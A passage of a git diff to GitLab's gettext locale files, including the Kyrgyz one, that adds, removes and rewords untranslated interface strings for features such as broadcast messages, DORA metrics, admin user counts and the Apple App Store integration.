-msgid "is not a valid URL."
-msgstr ""
-
msgid "is not a valid X509 certificate."
msgstr ""
@@ -49659,6 +50385,9 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
+msgid "must be in ISO 8601 format"
+msgstr ""
+
msgid "must be in same hierarchy as custom role's namespace"
msgstr ""
@@ -49746,12 +50475,6 @@ msgstr ""
msgid "nounSeries|%{item}, and %{lastItem}"
msgstr ""
-msgid "only %{parent_types} can be parent of Task."
-msgstr ""
-
-msgid "only Task can be assigned as a child in hierarchy."
-msgstr ""
-
msgid "only available on top-level groups."
msgstr ""
@@ -50164,6 +50887,9 @@ msgstr ""
msgid "verify ownership"
msgstr ""
+msgid "version %{report_version} for report type %{report_type} is deprecated. However, GitLab will still attempt to parse and ingest this report. Upgrade the security report to one of the following versions: %{current_schema_versions}."
+msgstr ""
+
msgid "version %{versionIndex}"
msgstr ""
diff --git a/locale/ky_KG/gitlab.po b/locale/ky_KG/gitlab.po
index 605f2c6e8fd..aba52c299f1 100644
--- a/locale/ky_KG/gitlab.po
+++ b/locale/ky_KG/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: ky\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 16\n"
-"PO-Revision-Date: 2022-12-10 06:42\n"
+"PO-Revision-Date: 2023-01-10 06:47\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -750,6 +750,9 @@ msgstr ""
msgid "%{itemsCount} issues with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{key} is not a valid URL."
+msgstr ""
+
msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
msgstr ""
@@ -822,6 +825,9 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
+msgid "%{linkStart} Learn more%{linkEnd}."
+msgstr ""
+
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
@@ -953,6 +959,12 @@ msgstr ""
msgid "%{ref} cannot be added: %{error}"
msgstr ""
+msgid "%{relation_type} epic does not exist."
+msgstr ""
+
+msgid "%{relation_type} epic is not present."
+msgstr ""
+
msgid "%{releases} release"
msgid_plural "%{releases} releases"
msgstr[0] ""
@@ -970,6 +982,11 @@ msgstr ""
msgid "%{reportType} detected no new vulnerabilities."
msgstr ""
+msgid "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approval%{approvalEnd} from: %{approverType}%{approvers}"
+msgid_plural "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approvals%{approvalEnd} from: %{approverType}%{approvers}"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
@@ -1008,9 +1025,6 @@ msgid_plural "%{selectedProjectsCount} projects"
msgstr[0] ""
msgstr[1] ""
-msgid "%{size} %{unit}"
-msgstr ""
-
msgid "%{size} GiB"
msgstr ""
@@ -1116,11 +1130,6 @@ msgstr ""
msgid "%{text} is available"
msgstr ""
-msgid "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approval from %{approverType}%{approvers}"
-msgid_plural "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approvals from %{approverType}%{approvers}"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{timebox_type} does not support burnup charts"
msgstr ""
@@ -1541,7 +1550,7 @@ msgstr[0] ""
msgstr[1] ""
msgid "1 user"
-msgid_plural "%{num} users"
+msgid_plural "%d users"
msgstr[0] ""
msgstr[1] ""
@@ -1768,6 +1777,9 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
+msgid "A template for starting a new TYPO3 project"
+msgstr ""
+
msgid "A title is required"
msgstr ""
@@ -1912,9 +1924,6 @@ msgstr ""
msgid "AWS secret access key (Optional)"
msgstr ""
-msgid "AWS service error: %{error}"
-msgstr ""
-
msgid "Abort"
msgstr ""
@@ -1963,9 +1972,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied: %{error}"
-msgstr ""
-
msgid "Access expires"
msgstr ""
@@ -2125,7 +2131,7 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
-msgid "Activated on"
+msgid "Activated"
msgstr ""
msgid "Active"
@@ -2203,6 +2209,9 @@ msgstr ""
msgid "Add a collapsible section"
msgstr ""
+msgid "Add a comment"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2581,15 +2590,18 @@ msgstr ""
msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
msgstr ""
-msgid "AdminArea|Billable users"
-msgstr ""
-
msgid "AdminArea|Blocked users"
msgstr ""
msgid "AdminArea|Bots"
msgstr ""
+msgid "AdminArea|Breakdown of Billable users"
+msgstr ""
+
+msgid "AdminArea|Breakdown of Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Components"
msgstr ""
@@ -2671,9 +2683,18 @@ msgstr ""
msgid "AdminArea|Stopping jobs failed"
msgstr ""
+msgid "AdminArea|Total Billable users"
+msgstr ""
+
+msgid "AdminArea|Total Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Total users"
msgstr ""
+msgid "AdminArea|Totals"
+msgstr ""
+
msgid "AdminArea|Updated %{last_update_time}"
msgstr ""
@@ -2701,6 +2722,12 @@ msgstr ""
msgid "AdminArea|You’re about to stop all jobs. This will halt all current jobs that are running."
msgstr ""
+msgid "AdminArea|active users + blocked users"
+msgstr ""
+
+msgid "AdminArea|total billable + total non-billable"
+msgstr ""
+
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
@@ -2755,6 +2782,9 @@ msgstr ""
msgid "AdminSettings|Auto DevOps domain"
msgstr ""
+msgid "AdminSettings|By default, set a limit to 0 to have no limit."
+msgstr ""
+
msgid "AdminSettings|CI/CD limits"
msgstr ""
@@ -2824,6 +2854,9 @@ msgstr ""
msgid "AdminSettings|Enable kuromoji custom analyzer: Search"
msgstr ""
+msgid "AdminSettings|Enable migrating GitLab groups and projects by direct transfer"
+msgstr ""
+
msgid "AdminSettings|Enable pipeline suggestion banner"
msgstr ""
@@ -2911,6 +2944,9 @@ msgstr ""
msgid "AdminSettings|Maximum number of custom domains per project"
msgstr ""
+msgid "AdminSettings|Maximum number of downstream pipelines in a pipeline's hierarchy tree"
+msgstr ""
+
msgid "AdminSettings|Maximum number of jobs in a single pipeline"
msgstr ""
@@ -2998,9 +3034,6 @@ msgstr ""
msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
-msgid "AdminSettings|Set limit to 0 to disable it."
-msgstr ""
-
msgid "AdminSettings|Set the expiration time of authentication tokens of newly registered group runners."
msgstr ""
@@ -3046,6 +3079,9 @@ msgstr ""
msgid "AdminSettings|There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
msgstr ""
+msgid "AdminSettings|This limit cannot be disabled. Set to 0 to block all DAG dependencies."
+msgstr ""
+
msgid "AdminSettings|To enable Registration Features, first enable Service Ping."
msgstr ""
@@ -3292,7 +3328,7 @@ msgstr ""
msgid "AdminUsers|Is using seat"
msgstr ""
-msgid "AdminUsers|Issues authored by this user are hidden from other users."
+msgid "AdminUsers|Issues and merge requests authored by this user are hidden from other users."
msgstr ""
msgid "AdminUsers|It's you!"
@@ -3337,6 +3373,9 @@ msgstr ""
msgid "AdminUsers|Personal projects, group and user history will be left intact"
msgstr ""
+msgid "AdminUsers|Private profile"
+msgstr ""
+
msgid "AdminUsers|Quota of CI/CD minutes"
msgstr ""
@@ -3595,6 +3634,9 @@ msgstr ""
msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
+msgid "After the Apple App Store Connect integration is activated, the following protected variables will be created for CI/CD use."
+msgstr ""
+
msgid "After the export is complete, download the data file from a notification email or from this page. You can then import the data file from the %{strong_text_start}Create new group%{strong_text_end} page of another GitLab instance."
msgstr ""
@@ -4237,9 +4279,6 @@ msgstr ""
msgid "An error occurred while approving, please try again."
msgstr ""
-msgid "An error occurred while authorizing your role"
-msgstr ""
-
msgid "An error occurred while checking group path. Please refresh and try again."
msgstr ""
@@ -4408,15 +4447,6 @@ msgstr ""
msgid "An error occurred while loading projects."
msgstr ""
-msgid "An error occurred while loading the Jobs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Needs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Test Reports tab."
-msgstr ""
-
msgid "An error occurred while loading the blob controls."
msgstr ""
@@ -4450,9 +4480,6 @@ msgstr ""
msgid "An error occurred while loading the notification settings. Please try again."
msgstr ""
-msgid "An error occurred while loading the pipeline."
-msgstr ""
-
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -4704,6 +4731,18 @@ msgstr ""
msgid "Append the comment with %{tableflip}"
msgstr ""
+msgid "AppleAppStore|The Apple App Store Connect Issuer ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Key ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Private Key."
+msgstr ""
+
+msgid "AppleAppStore|Use GitLab to build and release an app in the Apple App Store."
+msgstr ""
+
msgid "Application"
msgstr ""
@@ -4846,9 +4885,6 @@ msgstr ""
msgid "ApplicationSettings|Send a confirmation email during sign up. New users must confirm their email address before they can log in."
msgstr ""
-msgid "ApplicationSettings|Send confirmation email on sign-up"
-msgstr ""
-
msgid "ApplicationSettings|Sign-up enabled"
msgstr ""
@@ -4938,6 +4974,9 @@ msgstr ""
msgid "Applying suggestions..."
msgstr ""
+msgid "Approval options"
+msgstr ""
+
msgid "Approval rules"
msgstr ""
@@ -5078,6 +5117,9 @@ msgstr ""
msgid "Approvals are optional."
msgstr ""
+msgid "Approvals required"
+msgstr ""
+
msgid "Approvals|Section: %section"
msgstr ""
@@ -5629,6 +5671,9 @@ msgstr ""
msgid "AuditStreams|Custom HTTP headers (optional)"
msgstr ""
+msgid "AuditStreams|Defines which streaming events are captured"
+msgstr ""
+
msgid "AuditStreams|Delete %{link}"
msgstr ""
@@ -5644,12 +5689,18 @@ msgstr ""
msgid "AuditStreams|Edit %{link}"
msgstr ""
+msgid "AuditStreams|Event filtering (optional)"
+msgstr ""
+
msgid "AuditStreams|Header"
msgstr ""
msgid "AuditStreams|Maximum of %{number} HTTP headers has been reached."
msgstr ""
+msgid "AuditStreams|No filters available. %{linkStart}How do I add a filter?%{linkEnd}"
+msgstr ""
+
msgid "AuditStreams|Remove custom header"
msgstr ""
@@ -7221,9 +7272,93 @@ msgstr ""
msgid "Broadcast Messages"
msgstr ""
+msgid "BroadcastMessages|Add broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Allow users to dismiss the broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Banner"
+msgstr ""
+
+msgid "BroadcastMessages|Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Dark"
+msgstr ""
+
+msgid "BroadcastMessages|Dismissable"
+msgstr ""
+
+msgid "BroadcastMessages|Ends at"
+msgstr ""
+
+msgid "BroadcastMessages|Green"
+msgstr ""
+
+msgid "BroadcastMessages|Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light"
+msgstr ""
+
+msgid "BroadcastMessages|Light Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Light Green"
+msgstr ""
+
+msgid "BroadcastMessages|Light Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light Red"
+msgstr ""
+
+msgid "BroadcastMessages|Message"
+msgstr ""
+
+msgid "BroadcastMessages|Notification"
+msgstr ""
+
+msgid "BroadcastMessages|Paths can contain wildcards, like */welcome"
+msgstr ""
+
+msgid "BroadcastMessages|Red"
+msgstr ""
+
+msgid "BroadcastMessages|Starts at"
+msgstr ""
+
+msgid "BroadcastMessages|Target Path"
+msgstr ""
+
+msgid "BroadcastMessages|Target roles"
+msgstr ""
+
+msgid "BroadcastMessages|The broadcast message displays only to users in projects and groups who have these roles."
+msgstr ""
+
+msgid "BroadcastMessages|Theme"
+msgstr ""
+
+msgid "BroadcastMessages|There was an error adding broadcast message."
+msgstr ""
+
+msgid "BroadcastMessages|There was an error updating broadcast message."
+msgstr ""
+
msgid "BroadcastMessages|There was an issue deleting this message, please try again later."
msgstr ""
+msgid "BroadcastMessages|Type"
+msgstr ""
+
+msgid "BroadcastMessages|Update broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Your message here"
+msgstr ""
+
msgid "Browse Directory"
msgstr ""
@@ -7820,6 +7955,9 @@ msgstr ""
msgid "Cannot promote issue due to insufficient permissions."
msgstr ""
+msgid "Cannot push to source branch"
+msgstr ""
+
msgid "Cannot refer to a group milestone by an internal id!"
msgstr ""
@@ -7931,13 +8069,10 @@ msgstr ""
msgid "Change your password or recover your current one"
msgstr ""
-msgid "ChangeReviewer|Reviewer changed from %{old} to %{new}"
-msgstr ""
-
-msgid "ChangeReviewer|Reviewer changed to %{new}"
+msgid "ChangeReviewer|%{added_reviewers_text}%{removed_reviewers_text}"
msgstr ""
-msgid "ChangeReviewer|Unassigned"
+msgid "ChangeReviewer|All reviewers were removed."
msgstr ""
msgid "ChangeTypeAction|Cherry-pick"
@@ -8220,6 +8355,9 @@ msgstr ""
msgid "Checkout|Country"
msgstr ""
+msgid "Checkout|Coupon code (optional)"
+msgstr ""
+
msgid "Checkout|Create a new group"
msgstr ""
@@ -8379,12 +8517,6 @@ msgstr ""
msgid "Child epic"
msgstr ""
-msgid "Child epic does not exist."
-msgstr ""
-
-msgid "Child epic doesn't exist."
-msgstr ""
-
msgid "Child issues and epics"
msgstr ""
@@ -8568,6 +8700,9 @@ msgstr ""
msgid "CiVariables|This %{entity} has %{currentVariableCount} defined CI/CD variables. The maximum number of variables per %{entity} is %{maxVariableLimit}. To add new variables, you must reduce the number of defined variables."
msgstr ""
+msgid "CiVariables|Trigger this manual action"
+msgstr ""
+
msgid "CiVariables|Type"
msgstr ""
@@ -8693,6 +8828,9 @@ msgstr ""
msgid "Click the link below to confirm your email address."
msgstr ""
+msgid "Click to expand"
+msgstr ""
+
msgid "Click to expand it."
msgstr ""
@@ -8795,12 +8933,18 @@ msgstr ""
msgid "Closed this %{quick_action_target}."
msgstr ""
+msgid "Closed this issue. Marked as related to, and a duplicate of, %{duplicate_param}."
+msgstr ""
+
msgid "Closed: %{closed}"
msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Closes this issue. Marks as related to, and a duplicate of, %{duplicate_reference}."
+msgstr ""
+
msgid "Cloud Run"
msgstr ""
@@ -9466,21 +9610,6 @@ msgstr ""
msgid "ClusterIntegration|Every new Google Cloud Platform (GCP) account receives $300 in credit upon %{sign_up_link}. In partnership with Google, GitLab is able to offer an additional $200 for both new and existing GCP accounts to get started with GitLab's Google Kubernetes Engine Integration."
msgstr ""
-msgid "ClusterIntegration|Failed to configure EKS provider: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to configure Google Kubernetes Engine Cluster: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to fetch CloudFormation stack: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to request to Google Cloud Platform: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to run Kubeclient: %{message}"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -9969,6 +10098,9 @@ msgstr ""
msgid "Committed by"
msgstr ""
+msgid "CommonJS module"
+msgstr ""
+
msgid "Community forum"
msgstr ""
@@ -10860,6 +10992,9 @@ msgstr ""
msgid "Continue to the next step"
msgstr ""
+msgid "Continue with overages"
+msgstr ""
+
msgid "Continuous Integration and Deployment"
msgstr ""
@@ -11253,6 +11388,9 @@ msgstr ""
msgid "Country"
msgstr ""
+msgid "Counts"
+msgstr ""
+
msgid "Counts reflect children you may not have access to."
msgstr ""
@@ -12149,6 +12287,9 @@ msgstr ""
msgid "CycleAnalytics|project dropdown filter"
msgstr ""
+msgid "CycleAnalytics|the assigned object is not supported"
+msgstr ""
+
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -12173,6 +12314,9 @@ msgstr ""
msgid "DORA4Metrics|Average (last %{days}d)"
msgstr ""
+msgid "DORA4Metrics|Average number of deployments to production per day. This metric measures how often value is delivered to end users."
+msgstr ""
+
msgid "DORA4Metrics|Change Failure Rate"
msgstr ""
@@ -12185,7 +12329,10 @@ msgstr ""
msgid "DORA4Metrics|Cycle time"
msgstr ""
-msgid "DORA4Metrics|DORA metrics for %{groupName} group"
+msgid "DORA4Metrics|DORA metrics for %{name} group"
+msgstr ""
+
+msgid "DORA4Metrics|DORA metrics for %{name} project"
msgstr ""
msgid "DORA4Metrics|Date"
@@ -12206,6 +12353,12 @@ msgstr ""
msgid "DORA4Metrics|Deploys"
msgstr ""
+msgid "DORA4Metrics|Failed to load charts"
+msgstr ""
+
+msgid "DORA4Metrics|Go to docs"
+msgstr ""
+
msgid "DORA4Metrics|Lead Time for Changes"
msgstr ""
@@ -12227,6 +12380,12 @@ msgstr ""
msgid "DORA4Metrics|Median time an incident was open in a production environment over the given time period."
msgstr ""
+msgid "DORA4Metrics|Median time from issue created to issue closed."
+msgstr ""
+
+msgid "DORA4Metrics|Median time from the earliest commit of a linked issue's merge request to when that issue is closed."
+msgstr ""
+
msgid "DORA4Metrics|Month to date"
msgstr ""
@@ -12245,6 +12404,15 @@ msgstr ""
msgid "DORA4Metrics|Number of incidents divided by the number of deployments to a production environment in the given time period."
msgstr ""
+msgid "DORA4Metrics|Number of new issues created."
+msgstr ""
+
+msgid "DORA4Metrics|Past 6 Months"
+msgstr ""
+
+msgid "DORA4Metrics|Percentage of deployments that cause an incident in production."
+msgstr ""
+
msgid "DORA4Metrics|Percentage of failed deployments"
msgstr ""
@@ -12266,6 +12434,12 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DORA4Metrics|The time it takes an organization to recover from a failure in production."
+msgstr ""
+
+msgid "DORA4Metrics|The time to successfully deliver a commit into production. This metric reflects the efficiency of CI/CD pipelines."
+msgstr ""
+
msgid "DORA4Metrics|Time to Restore Service"
msgstr ""
@@ -12275,6 +12449,9 @@ msgstr ""
msgid "DORA4Metrics|Time to restore service (median days)"
msgstr ""
+msgid "DORA4Metrics|Total number of deploys to production."
+msgstr ""
+
msgid "DSN"
msgstr ""
@@ -12290,9 +12467,6 @@ msgstr ""
msgid "DashboardProjects|Personal"
msgstr ""
-msgid "DashboardProjects|Trending"
-msgstr ""
-
msgid "Dashboards"
msgstr ""
@@ -13210,11 +13384,10 @@ msgstr ""
msgid "DeletionSettings|Keep deleted"
msgstr ""
-msgid "DeletionSettings|Keep deleted projects for %{number} days"
-msgstr ""
-
-msgid "DeletionSettings|Keep deleted projects for 1 day"
-msgstr ""
+msgid "DeletionSettings|Keep deleted projects for %{number} day"
+msgid_plural "DeletionSettings|Keep deleted projects for %{number} days"
+msgstr[0] ""
+msgstr[1] ""
msgid "DeletionSettings|None, delete immediately"
msgstr ""
@@ -13279,6 +13452,9 @@ msgstr ""
msgid "Dependencies|Dependency path"
msgstr ""
+msgid "Dependencies|Error exporting the dependency list. Please reload the page."
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -13660,9 +13836,15 @@ msgstr ""
msgid "Deployment Target|Select the deployment target"
msgstr ""
+msgid "Deployment approvals is not configured for this environment."
+msgstr ""
+
msgid "Deployment frequency"
msgstr ""
+msgid "DeploymentApprovals|Allow pipeline triggerer to approve deployment."
+msgstr ""
+
msgid "DeploymentApprovals|Approvals"
msgstr ""
@@ -13678,6 +13860,12 @@ msgstr ""
msgid "DeploymentApprovals|Maintainers"
msgstr ""
+msgid "DeploymentApprovals|Set how approval rules are applied to deployments in protected environments."
+msgstr ""
+
+msgid "DeploymentApprovals|When a pipeline runs, deployment jobs will automatically be approved in the pipeline if the triggerer is allowed to approve."
+msgstr ""
+
msgid "DeploymentApproval| Current approvals: %{current}"
msgstr ""
@@ -13761,6 +13949,12 @@ msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
msgstr[1] ""
+msgid "Deployments|Define environments in the deploy stage(s) in %{code_open}.gitlab-ci.yml%{code_close} to track deployments here."
+msgstr ""
+
+msgid "Deployments|You don't have any deployments right now."
+msgstr ""
+
msgid "Deployment|API"
msgstr ""
@@ -14030,7 +14224,7 @@ msgstr ""
msgid "DevOps adoption"
msgstr ""
-msgid "DevOps metrics comparison (Alpha)"
+msgid "DevOps metrics comparison (Beta)"
msgstr ""
msgid "Developer"
@@ -14255,6 +14449,9 @@ msgstr ""
msgid "Difference between start date and now"
msgstr ""
+msgid "Different user's signature"
+msgstr ""
+
msgid "DiffsCompareBaseBranch|(HEAD)"
msgstr ""
@@ -14746,6 +14943,9 @@ msgstr ""
msgid "E-mail:"
msgstr ""
+msgid "ESM module"
+msgstr ""
+
msgid "Each project can also have an issue tracker and a wiki."
msgstr ""
@@ -15943,10 +16143,7 @@ msgstr ""
msgid "Error: Couldn't load some or all of the changes."
msgstr ""
-msgid "Error: No AWS credentials were supplied"
-msgstr ""
-
-msgid "Error: No AWS provision role found for user"
+msgid "Error: Gitaly is unavailable. Contact your administrator."
msgstr ""
msgid "Error: Unable to create deploy freeze"
@@ -15955,9 +16152,6 @@ msgstr ""
msgid "Error: Unable to delete deploy freeze"
msgstr ""
-msgid "Error: Unable to find AWS role for current user"
-msgstr ""
-
msgid "ErrorTracking|Access token is %{token_in_code_tag}"
msgstr ""
@@ -16455,9 +16649,6 @@ msgstr ""
msgid "Expires %{preposition} %{expires_at}"
msgstr ""
-msgid "Expires on"
-msgstr ""
-
msgid "Expires:"
msgstr ""
@@ -16491,9 +16682,6 @@ msgstr ""
msgid "Explore snippets"
msgstr ""
-msgid "Explore topics"
-msgstr ""
-
msgid "Export"
msgstr ""
@@ -16813,9 +17001,6 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
-msgid "Failed to promote issue to incident"
-msgstr ""
-
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -17241,9 +17426,6 @@ msgstr ""
msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
-msgid "Filter by Git revision"
-msgstr ""
-
msgid "Filter by issues that are currently closed."
msgstr ""
@@ -17562,16 +17744,13 @@ msgstr ""
msgid "ForksDivergence|%{messages} upstream repository"
msgstr ""
-msgid "ForksDivergence|Up to date with upstream repository"
-msgstr ""
-
-msgid "Format: %{dateFormat}"
+msgid "ForksDivergence|Fork has diverged from upstream repository"
msgstr ""
-msgid "Found errors in your %{gitlab_ci_yml}:"
+msgid "ForksDivergence|Up to date with upstream repository"
msgstr ""
-msgid "Found errors in your .gitlab-ci.yml:"
+msgid "Format: %{dateFormat}"
msgstr ""
msgid "Framework successfully deleted"
@@ -17669,6 +17848,9 @@ msgstr ""
msgid "GPG Keys"
msgstr ""
+msgid "GPG key mismatch"
+msgstr ""
+
msgid "GPG keys allow you to verify signed commits."
msgstr ""
@@ -18327,9 +18509,6 @@ msgstr ""
msgid "Git"
msgstr ""
-msgid "Git GC period"
-msgstr ""
-
msgid "Git LFS Rate Limits"
msgstr ""
@@ -18743,6 +18922,9 @@ msgstr ""
msgid "Global Shortcuts"
msgstr ""
+msgid "Global notification email"
+msgstr ""
+
msgid "Global notification level"
msgstr ""
@@ -18755,6 +18937,12 @@ msgstr ""
msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
msgstr ""
+msgid "GlobalSearch|Close"
+msgstr ""
+
+msgid "GlobalSearch|Group"
+msgstr ""
+
msgid "GlobalSearch|Groups"
msgstr ""
@@ -18779,6 +18967,9 @@ msgstr ""
msgid "GlobalSearch|Merge requests that I'm a reviewer"
msgstr ""
+msgid "GlobalSearch|Project"
+msgstr ""
+
msgid "GlobalSearch|Projects"
msgstr ""
@@ -18797,6 +18988,9 @@ msgstr ""
msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
msgstr ""
+msgid "GlobalSearch|Search"
+msgstr ""
+
msgid "GlobalSearch|Search GitLab"
msgstr ""
@@ -18809,9 +19003,15 @@ msgstr ""
msgid "GlobalSearch|Settings"
msgstr ""
+msgid "GlobalSearch|Syntax options"
+msgstr ""
+
msgid "GlobalSearch|There was an error fetching search autocomplete suggestions."
msgstr ""
+msgid "GlobalSearch|There was an error fetching the \"Syntax Options\" document."
+msgstr ""
+
msgid "GlobalSearch|Type and press the enter key to submit search."
msgstr ""
@@ -19136,6 +19336,12 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
+msgid "Group '%{group_name}' could not be updated."
+msgstr ""
+
+msgid "Group '%{group_name}' was successfully updated."
+msgstr ""
+
msgid "Group Access Tokens"
msgstr ""
@@ -19298,7 +19504,7 @@ msgstr ""
msgid "GroupActivityMetrics|Recent activity"
msgstr ""
-msgid "GroupImport|Failed to import group."
+msgid "GroupImport|Failed to import group: %{error}"
msgstr ""
msgid "GroupImport|Group '%{group_name}' is being imported."
@@ -19781,9 +19987,15 @@ msgstr ""
msgid "GroupsEmptyState|If you organize your projects under a group, it works like a folder."
msgstr ""
+msgid "GroupsEmptyState|No archived projects."
+msgstr ""
+
msgid "GroupsEmptyState|No groups found"
msgstr ""
+msgid "GroupsEmptyState|No shared projects."
+msgstr ""
+
msgid "GroupsEmptyState|No subgroups or projects."
msgstr ""
@@ -19838,6 +20050,9 @@ msgstr ""
msgid "GroupsNew|Import groups from another instance of GitLab"
msgstr ""
+msgid "GroupsNew|Importing groups by direct transfer is currently disabled."
+msgstr ""
+
msgid "GroupsNew|No import options available"
msgstr ""
@@ -19847,6 +20062,12 @@ msgstr ""
msgid "GroupsNew|Personal access token"
msgstr ""
+msgid "GroupsNew|Please %{admin_link_start}enable it in the Admin settings%{admin_link_end}."
+msgstr ""
+
+msgid "GroupsNew|Please ask your Administrator to enable it in the Admin settings."
+msgstr ""
+
msgid "GroupsNew|Please fill in GitLab source URL."
msgstr ""
@@ -19856,6 +20077,9 @@ msgstr ""
msgid "GroupsNew|Provide credentials for another instance of GitLab to import your groups directly."
msgstr ""
+msgid "GroupsNew|Remember to enable it also on the instance you are migrating from."
+msgstr ""
+
msgid "GroupsNew|This feature is deprecated and replaced by %{docs_link_start}group migration%{docs_link_end}."
msgstr ""
@@ -19973,6 +20197,9 @@ msgstr ""
msgid "HAR file path or URL"
msgstr ""
+msgid "HTML script tag"
+msgstr ""
+
msgid "HTTP Archive (HAR)"
msgstr ""
@@ -20284,6 +20511,12 @@ msgstr ""
msgid "Hierarchy|Planning hierarchy"
msgstr ""
+msgid "Hierarchy|Something went wrong while fetching children."
+msgstr ""
+
+msgid "Hierarchy|Something went wrong while removing a child item."
+msgstr ""
+
msgid "Hierarchy|Take the work items survey"
msgstr ""
@@ -20698,9 +20931,6 @@ msgstr ""
msgid "If no options are selected, only administrators can register runners."
msgstr ""
-msgid "If none of the options work, try contacting a GitLab administrator."
-msgstr ""
-
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
@@ -20722,6 +20952,9 @@ msgstr ""
msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
msgstr ""
+msgid "If you are unable to sign in or recover your password, contact a GitLab administrator."
+msgstr ""
+
msgid "If you did not initiate these sign-in attempts, please reach out to your administrator or enable two-factor authentication (2FA) on your account."
msgstr ""
@@ -20942,12 +21175,24 @@ msgstr ""
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
+msgid "ImportProjects|Cancel import"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed: %{reason}"
+msgstr ""
+
msgid "ImportProjects|Error importing repository %{project_safe_import_url} into %{project_full_path} - %{message}"
msgstr ""
msgid "ImportProjects|Import repositories"
msgstr ""
+msgid "ImportProjects|Imported files will be kept. You can import this repository again later."
+msgstr ""
+
msgid "ImportProjects|Importing the project failed"
msgstr ""
@@ -22006,7 +22251,7 @@ msgstr ""
msgid "Insights|Configure a custom report for insights into your group processes such as amount of issues, bugs, and merge requests per month. %{linkStart}How do I configure an insights report?%{linkEnd}"
msgstr ""
-msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config for more information)."
+msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config in the YAML file or the enabled project features (issues, merge requests) in the project settings)."
msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
@@ -22068,9 +22313,18 @@ msgstr ""
msgid "IntegrationEvents|A confidential issue is created, updated, or closed"
msgstr ""
+msgid "IntegrationEvents|A deployment is started or finished"
+msgstr ""
+
msgid "IntegrationEvents|A merge request is created, updated, or merged"
msgstr ""
+msgid "IntegrationEvents|A new, unique alert is recorded"
+msgstr ""
+
+msgid "IntegrationEvents|A new, unique, vulnerability is recorded. (Note: This feature requires an Ultimate plan)"
+msgstr ""
+
msgid "IntegrationEvents|A pipeline status changes"
msgstr ""
@@ -22221,6 +22475,9 @@ msgstr ""
msgid "Integrations|Instance-level integration management"
msgstr ""
+msgid "Integrations|Integration details"
+msgstr ""
+
